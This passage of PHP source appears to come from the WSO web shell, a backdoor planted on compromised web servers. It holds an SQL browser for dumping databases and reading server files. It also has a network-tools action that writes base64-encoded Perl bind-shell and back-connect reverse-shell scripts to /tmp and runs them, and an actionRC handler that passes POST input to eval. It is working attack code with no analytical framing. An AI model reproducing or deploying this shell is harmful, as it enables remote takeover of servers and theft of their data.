1506
1507 if (empty($_POST['file']))
1508 {
1509 ob_start("ob_gzhandler", 4096);
1510 header("Content-Disposition: attachment; filename=dump.sql");
1511 header("Content-Type: text/plain");
1512 foreach($_POST['tbl'] as $v) $db->dump($v);
1513 exit;
1514 }
1515 elseif ($fp = @fopen($_POST['file'], 'w'))
1516 {
1517 foreach($_POST['tbl'] as $v) $db->dump($v, $fp);
1518 fclose($fp);
1519 unset($_POST['p2']);
1520 }
1521 else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1522 }
1523
1524 wsoHeader();
1525 echo " <h1>Sql browser</h1><div class=content> <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> <td><select name='type'><option value='mysql' ";
1526 if (@$_POST['type'] == 'mysql') echo 'selected';
1527 echo ">MySql</option><option value='pgsql' ";
1528 if (@$_POST['type'] == 'pgsql') echo 'selected';
1529 echo ">PostgreSql</option></select></td> <td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td> <td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td> <td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1530 $tmp = "<input type=text name=sql_base value=''>";
1531 if (isset($_POST['sql_host']))
1532 {
1533 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']))
1534 {
1535 switch ($_POST['charset'])
1536 {
1537 case "Windows-1251":
1538 $db->setCharset('cp1251');
1539 break;
1540
1541 case "UTF-8":
1542 $db->setCharset('utf8');
1543 break;
1544
1545 case "KOI8-R":
1546 $db->setCharset('koi8r');
1547 break;
1548
1549 case "KOI8-U":
1550 $db->setCharset('koi8u');
1551 break;
1552
1553 case "cp866":
1554 $db->setCharset('cp866');
1555 break;
1556 }
1557
1558 $db->listDbs();
1559 echo "<select name=sql_base><option value=''></option>";
1560 while ($item = $db->fetch())
1561 {
1562 list($key, $value) = each($item);
1563 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1564 }
1565
1566 echo '</select>';
1567 }
1568 else echo $tmp;
1569 }
1570 else echo $tmp;
1571 echo "</td> <td><input type=submit value='>>' onclick='fs(d.sf);'></td> <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td> </tr> </table> <script> s_db='" . @addslashes($_POST['sql_base']) . "'; function fs(f) { if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; if(f.p1) f.p1.value=''; if(f.p2) f.p2.value=''; if(f.p3) f.p3.value=''; } } function st(t,l) { d.sf.p1.value = 'select'; d.sf.p2.value = t; if(l && d.sf.p3) d.sf.p3.value = l; d.sf.submit(); } function is() { for(i=0;i<d.sf.elements['tbl[]'].length;++i) d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; } </script>";
1572 if (isset($db) && $db->link)
1573 {
1574 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1575 if (!empty($_POST['sql_base']))
1576 {
1577 $db->selectdb($_POST['sql_base']);
1578 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br /><br />";
1579 $tbls_res = $db->listTables();
1580 while ($item = $db->fetch($tbls_res))
1581 {
1582 list($key, $value) = each($item);
1583 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1584 $value = htmlspecialchars($value);
1585 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br />";
1586 }
1587
1588 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br />File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1589 if (@$_POST['p1'] == 'select')
1590 {
1591 $_POST['p1'] = 'query';
1592 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1593 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1594 $num = $db->fetch();
1595 $pages = ceil($num['n'] / 30);
1596 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1597 echo " of $pages";
1598 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1599 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1600 $_POST['p3']--;
1601 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1602 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1603 echo "<br /><br />";
1604 }
1605
1606 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2']))
1607 {
1608 $db->query(@$_POST['p2']);
1609 if ($db->res !== false)
1610 {
1611 $title = false;
1612 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1613 $line = 1;
1614 while ($item = $db->fetch())
1615 {
1616 if (!$title)
1617 {
1618 echo '<tr>';
1619 foreach($item as $key => $value) echo '<th>' . $key . '</th>';
1620 reset($item);
1621 $title = true;
1622 echo '</tr><tr>';
1623 $line = 2;
1624 }
1625
1626 echo '<tr class="l' . $line . '">';
1627 $line = $line == 1 ? 2 : 1;
1628 foreach($item as $key => $value)
1629 {
1630 if ($value == null) echo '<td><i>null</i></td>';
1631 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1632 }
1633
1634 echo '</tr>';
1635 }
1636
1637 echo '</table>';
1638 }
1639 else
1640 {
1641 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1642 }
1643 }
1644
1645 echo "<br /></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1646 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1647 echo "</textarea><br/><input type=submit value='Execute'>";
1648 echo "</td></tr>";
1649 }
1650
1651 echo "</table></form><br/>";
1652 if ($_POST['type'] == 'mysql')
1653 {
1654 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1655 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1656 }
1657
1658 if (@$_POST['p1'] == 'loadfile')
1659 {
1660 $file = $db->loadFile($_POST['p2']);
1661 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1662 }
1663 }
1664 else
1665 {
1666 echo htmlspecialchars($db->error());
1667 }
1668
1669 echo '</div>';
1670 wsoFooter();
1671 }
1672
1673function actionNetwork()
1674 {
1675 wsoHeader();
1676 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1677 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1678 echo "<h1>Network tools</h1><div class=content> <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"> <span>Bind port to /bin/sh [perl]</span><br/> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> </form> <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"> <span>Back-connect [perl]</span><br/> Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> </form><br />";
1679 if (isset($_POST['p1']))
1680 {
1681 function cf($f, $t)
1682 {
1683 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1684 if ($w)
1685 {
1686 @fwrite($w, @base64_decode($t));
1687 @fclose($w);
1688 }
1689 }
1690
1691 if ($_POST['p1'] == 'bpp')
1692 {
1693 cf("/tmp/bp.pl", $bind_port_p);
1694 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1695 sleep(1);
1696 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1697 unlink("/tmp/bp.pl");
1698 }
1699
1700 if ($_POST['p1'] == 'bcp')
1701 {
1702 cf("/tmp/bc.pl", $back_connect_p);
1703 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1704 sleep(1);
1705 echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1706 unlink("/tmp/bc.pl");
1707 }
1708 }
1709
1710 echo '</div>';
1711 wsoFooter();
1712 }
1713
1714function actionRC()
1715 {
1716 if (!@$_POST['p1'])
1717 {
1718 $a = array(
1719 "uname" => php_uname() ,
1720 "php_version" => phpversion() ,
1721 "wso_version" => WSO_VERSION,
1722 "safemode" => @ini_get('safe_mode')
1723 );
1724 echo serialize($a);
1725 }
1726 else
1727 {
1728 eval($_POST['p1']);
1729 }
1730 }
1731
1732if (empty($_POST['a']))
1733if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1734 else $_POST['a'] = 'SecInfo';
1735
1736if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1737exit;